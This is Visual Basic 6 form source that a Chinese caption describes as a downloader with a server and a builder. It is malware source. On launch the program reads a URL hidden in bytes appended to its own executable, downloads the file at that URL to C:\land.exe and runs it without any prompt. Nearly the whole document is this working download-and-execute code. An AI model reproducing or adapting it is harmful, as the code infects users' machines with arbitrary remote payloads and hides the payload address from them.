form1.frm

VB写的一个下载者 服务端和生成器都有

VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   3090
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3090
   ScaleWidth      =   4680
   StartUpPosition =   3  '窗口缺省
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Const FILE_SIZE = 20480       '这是编译后文件模板的大小
Private Sub Form_Load()
    Dim bAppend As Byte, lNum As Long
    Dim i As Long, sInfo As String
    Dim s(1) As String
    
    If Len(App.Path) = 3 Then
        Open App.Path & App.EXEName & ".exe" For Binary Access Read As #1
    Else
        Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
    End If
        Seek #1, FILE_SIZE + 1      '将读取指针定位到文件末
        '读出超出模板大小的字节部分并显示
        
        For lNum = 1 To FileLen(App.Path & "\" & App.EXEName & ".exe") - FILE_SIZE
            Get #1, , bAppend
            'MsgBox bAppend
            If bAppend < 128 Then       '判断是否是英文字符
               sInfo = sInfo + Chr(bAppend)
            Else                        '如果不是则继续获取下一个字节
               If s(0) = "" Then
                  'MsgBox "1" & Hex((bAppend)) & "1"
                  s(0) = CStr(Hex((bAppend)))
               ElseIf s(1) = "" Then
                  'MsgBox "2" & Hex((bAppend)) & "2"
                  s(1) = CStr(Hex((bAppend)))
               End If
               If s(0) <> "" And s(1) <> "" Then
                  sInfo = sInfo + Chr(Val("&H" & s(0) & s(1)))      '将中文汉字输出
                  'MsgBox "3" & Chr(Val("&H" & s(0) & s(1))) & "3"
                  s(0) = ""
                  s(1) = ""
               End If
            End If
        Next lNum
    Close #1
    DownloadFile sInfo, "C:\land.exe"
    Unload Me
End Sub


Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then
        DownloadFile = True
        Shell LocalFilename
    End If
End Function